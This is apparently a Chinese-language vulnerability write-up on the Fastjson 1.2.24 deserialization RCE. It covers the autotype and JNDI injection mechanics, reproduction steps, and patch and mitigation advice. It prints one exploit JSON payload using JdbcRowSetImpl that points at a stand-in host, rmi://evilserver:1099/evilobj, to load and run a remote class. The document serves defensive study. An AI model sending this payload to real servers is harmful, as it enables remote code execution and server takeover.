Fastjson 1.2.24远程代码执行漏洞分析
字数 2127 2025-08-15 21:32:37

Fastjson 1.2.24远程代码执行漏洞分析与防护指南

1. 漏洞概述

1.1 漏洞简介

Fastjson 1.2.24版本存在一个高危的远程代码执行漏洞(Remote Code Execution),漏洞编号为无,CVSS评分无。该漏洞利用fastjson autotype在处理json对象时,未对@type字段进行充分的安全性验证,攻击者可以传入危险类并调用危险类连接远程RMI主机,通过其中的恶意类执行任意代码。

1.2 组件概述

Fastjson是阿里巴巴开发的一个高性能Java JSON库,采用"假定有序快速匹配"算法,具有极快的JSON解析性能。它被广泛应用于缓存序列化、协议交互、Web输出、Android客户端等多种场景。

1.3 漏洞影响

  • 影响版本:Fastjson < 1.2.25
  • 漏洞危害:攻击者可实现远程代码执行,获取服务器敏感信息,甚至对服务器数据进行增删改操作

2. 漏洞原理分析

2.1 技术背景

漏洞利用基于JavaBean特性和JNDI注入:

  • JavaBean特性:遵循特定规范的Java类,提供无参构造函数、可序列化、有getter/setter方法
  • JNDI注入:通过Java命名和目录接口查找远程对象并触发反序列化

2.2 漏洞利用流程

  1. 攻击者搭建恶意RMI服务(rmi://evilserver:1099)并绑定恶意类(evilobj)
  2. 恶意类中包含可执行任意命令的Java代码
  3. 向使用Fastjson的服务发送特制JSON数据:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}
  4. Fastjson解析时自动调用JdbcRowSetImpl的setDataSourceName和setAutoCommit方法
  5. setAutoCommit触发connect()方法,执行lookup()连接到恶意RMI服务
  6. 服务端下载并执行恶意类中的代码

2.3 关键代码分析

2.3.1 反序列化流程

  1. parseObject()解析传入的JSON数据
  2. DefaultJSONParser解析JSON格式数据
  3. 检查@type字段值,通过TypeUtils.loadClass加载指定类
  4. 未充分验证类安全性,直接加载com.sun.rowset.JdbcRowSetImpl

2.3.2 危险方法调用

  1. 通过反射调用setDataSourceName设置RMI地址
  2. 通过反射调用setAutoCommit(true)触发connect()
  3. connect()内部调用lookup()发起JNDI请求

2.3.3 JNDI注入过程

  1. 获取InitialContext上下文
  2. 根据URL协议获取对应上下文对象
  3. 实例化RegistryContext并获取远程注册中心绑定对象
  4. 通过TCPEndpoint设置远程终端IP和端口
  5. 创建代理并返回RegistryImpl stub
  6. 执行lookup获取远程对象并反序列化执行

3. 漏洞复现

3.1 环境准备

  • 使用Windows平台
  • 搭建fastjsondemo环境
  • 使用Idea打开项目并运行DemoApplication
  • 准备恶意RMI服务器

3.2 攻击步骤

  1. 启动恶意RMI服务并绑定恶意类
  2. 构造特制JSON请求
  3. 发送请求到目标服务
  4. 观察命令执行结果

4. 防护措施

4.1 官方修复方案

Fastjson 1.2.25版本进行了以下修复:

  1. 新增checkAutoType方法,设置autotype开关
  2. 默认关闭autotype功能,限制@type字段使用
  3. 增加黑名单机制,拦截已知危险类

4.2 升级建议

  • 立即升级到Fastjson 1.2.25或更高版本
  • 下载地址:https://github.com/alibaba/fastjson

4.3 临时缓解措施

  1. 在代码中关闭autotype功能:
    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    
  2. 添加自定义黑名单
  3. 使用安全设备拦截可疑的RMI/LDAP请求

5. 深入技术分析

5.1 Fastjson反序列化机制

Fastjson通过以下步骤完成反序列化:

  1. 解析JSON字符串为Token流
  2. 识别@type字段并加载指定类
  3. 创建JavaBean反序列化器
  4. 通过反射机制调用setter方法填充对象属性

5.2 漏洞根本原因

  1. 缺乏对@type字段值的严格校验
  2. 默认允许加载任意类
  3. 未对危险类(JdbcRowSetImpl等)进行过滤
  4. 自动调用setter方法的机制被滥用

5.3 补丁分析

1.2.25版本主要改进:

  1. 引入autotype开关,默认关闭
  2. 完善黑名单机制,包含:
    • com.sun.rowset.JdbcRowSetImpl
    • 其他常见危险类
  3. 增加安全校验逻辑,防止任意类加载

6. 参考资源

  1. 基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析
  2. Fastjson 1.2.24与1.2.25版本差异
  3. 官方GitHub仓库及安全公告
Fastjson 1.2.24远程代码执行漏洞分析与防护指南 1. 漏洞概述 1.1 漏洞简介 Fastjson 1.2.24版本存在一个高危的远程代码执行漏洞(Remote Code Execution),漏洞编号为无,CVSS评分无。该漏洞利用fastjson autotype在处理json对象时,未对@type字段进行充分的安全性验证,攻击者可以传入危险类并调用危险类连接远程RMI主机,通过其中的恶意类执行任意代码。 1.2 组件概述 Fastjson是阿里巴巴开发的一个高性能Java JSON库,采用"假定有序快速匹配"算法,具有极快的JSON解析性能。它被广泛应用于缓存序列化、协议交互、Web输出、Android客户端等多种场景。 1.3 漏洞影响 影响版本:Fastjson < 1.2.25 漏洞危害:攻击者可实现远程代码执行,获取服务器敏感信息,甚至对服务器数据进行增删改操作 2. 漏洞原理分析 2.1 技术背景 漏洞利用基于JavaBean特性和JNDI注入: JavaBean特性 :遵循特定规范的Java类,提供无参构造函数、可序列化、有getter/setter方法 JNDI注入 :通过Java命名和目录接口查找远程对象并触发反序列化 2.2 漏洞利用流程 攻击者搭建恶意RMI服务(rmi://evilserver:1099)并绑定恶意类(evilobj) 恶意类中包含可执行任意命令的Java代码 向使用Fastjson的服务发送特制JSON数据: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true} Fastjson解析时自动调用JdbcRowSetImpl的setDataSourceName和setAutoCommit方法 setAutoCommit触发connect()方法,执行lookup()连接到恶意RMI服务 服务端下载并执行恶意类中的代码 2.3 关键代码分析 2.3.1 反序列化流程 parseObject() 解析传入的JSON数据 DefaultJSONParser 解析JSON格式数据 检查 @type 字段值,通过 TypeUtils.loadClass 加载指定类 未充分验证类安全性,直接加载 com.sun.rowset.JdbcRowSetImpl 2.3.2 危险方法调用 通过反射调用 setDataSourceName 设置RMI地址 通过反射调用 setAutoCommit(true) 触发 connect() connect() 内部调用 lookup() 发起JNDI请求 2.3.3 JNDI注入过程 获取InitialContext上下文 根据URL协议获取对应上下文对象 实例化RegistryContext并获取远程注册中心绑定对象 通过TCPEndpoint设置远程终端IP和端口 创建代理并返回RegistryImpl stub 执行lookup获取远程对象并反序列化执行 3. 漏洞复现 3.1 环境准备 使用Windows平台 搭建fastjsondemo环境 使用Idea打开项目并运行DemoApplication 准备恶意RMI服务器 3.2 攻击步骤 启动恶意RMI服务并绑定恶意类 构造特制JSON请求 发送请求到目标服务 观察命令执行结果 4. 防护措施 4.1 官方修复方案 Fastjson 1.2.25版本进行了以下修复: 新增 checkAutoType 方法,设置autotype开关 默认关闭autotype功能,限制@type字段使用 增加黑名单机制,拦截已知危险类 4.2 升级建议 立即升级到Fastjson 1.2.25或更高版本 下载地址:https://github.com/alibaba/fastjson 4.3 临时缓解措施 在代码中关闭autotype功能: 添加自定义黑名单 使用安全设备拦截可疑的RMI/LDAP请求 5. 深入技术分析 5.1 Fastjson反序列化机制 Fastjson通过以下步骤完成反序列化: 解析JSON字符串为Token流 识别@type字段并加载指定类 创建JavaBean反序列化器 通过反射机制调用setter方法填充对象属性 5.2 漏洞根本原因 缺乏对@type字段值的严格校验 默认允许加载任意类 未对危险类(JdbcRowSetImpl等)进行过滤 自动调用setter方法的机制被滥用 5.3 补丁分析 1.2.25版本主要改进: 引入autotype开关,默认关闭 完善黑名单机制,包含: com.sun.rowset.JdbcRowSetImpl 其他常见危险类 增加安全校验逻辑,防止任意类加载 6. 参考资源 基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析 Fastjson 1.2.24与1.2.25版本差异 官方GitHub仓库及安全公告